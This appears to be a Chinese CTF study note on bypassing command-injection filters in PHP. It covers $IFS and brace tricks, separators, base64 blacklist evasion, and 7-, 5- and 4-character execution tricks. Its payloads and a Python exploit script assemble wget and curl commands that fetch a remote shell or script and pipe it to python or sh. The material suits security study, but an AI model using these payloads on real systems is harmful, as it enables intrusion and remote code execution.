0%

命令执行与绕过

1.空格绕过

1
2
3
4
5
6
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg //(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

$IFS在linux下表示分隔符,加一个{}就固定了变量名,同理在后面加个$可以起到截断作用。

2.命令分割符

1
2
3
4
5
6
7
%0a 换行符
%0d 回车符
; 表示连续指令
& 表示将前一个命令设置进入后台
| 管道符,将前一个命令的输出作为后一个命令的输入
&& 前一个命令执行成功才会执行下一条命令
|| 前一个命令执行失败才会执行下一条命令

3.黑名单绕过

1
2
a=l;b=s;$a$b  //变量绕过
`echo "bHMK" |base64 -d` //base64编码

4.短命令执行

大体上的想法就是通过重命名文件绕过,然后通过ls来将文件名写入到文件中,>这个重定向符号可以来创建文件,其中文件名是>后面跟的参数,然后创建出我们精心构造好的多个文件名,然后通过ls打印出来再重定向>到一个木马文件中,就可以执行了

  • 拼接方法

  1. 两个反斜杠\\,这种方法是利用\来拼接字符串,其中前一个\是用来反义后一个\的。这种方法的话需要精心构造输入,利用倒叙来输入,然后ls的时候需要加-t参数来排列一下,虽然报错了但是也执行成功了

image-20200610155026769

  • 七字绕过

题目源码如下

1
2
3
4
5
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>

payload

1
2
3
4
5
6
7
8
9
10
>php\\
>ell.\\
>\ sh\\
>\ -O\\
>com\\
>idu.\\
>\ ba\\
>wget\\
ls -t>a
sh a

image-20200610172713846

  • 五字绕过

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

因为长度要小于5,所以我们无法执行ls -t>a

所以思路是先构造 ls -t>a

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
from time import sleep
from urllib import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw>python`
# curl shell.0xb.pw|python
'>on',
'>th\\',
'>py\\',
'>\|\\',
'>pw\\',
'>x.\\',
'>xx\\',
'>l.\\',
'>el\\',
'>sh\\',
'>\ \\',
'>rl\\',
'>cu\\',
# exec
'sh _',
'sh g',
]
r = requests.get('http://xxx/web1.php/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://xxx/web1.php/?cmd=' + quote(i) )
print i
sleep(0.2)
  • 四字绕过

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

最大的问题还是ls -t>g这个问题

image-20200610180226760

这个exp的构造非常的细致

首先是 ht-加了个 h参数但效果和 -t一样 但可以让 ht-排在sl前面

选择dir列目录,dir排在第一位,*直接会执行dir命令

之后 rev逆序文件。

后面都是一样的就不讲了

-------------本文结束感谢您的阅读-------------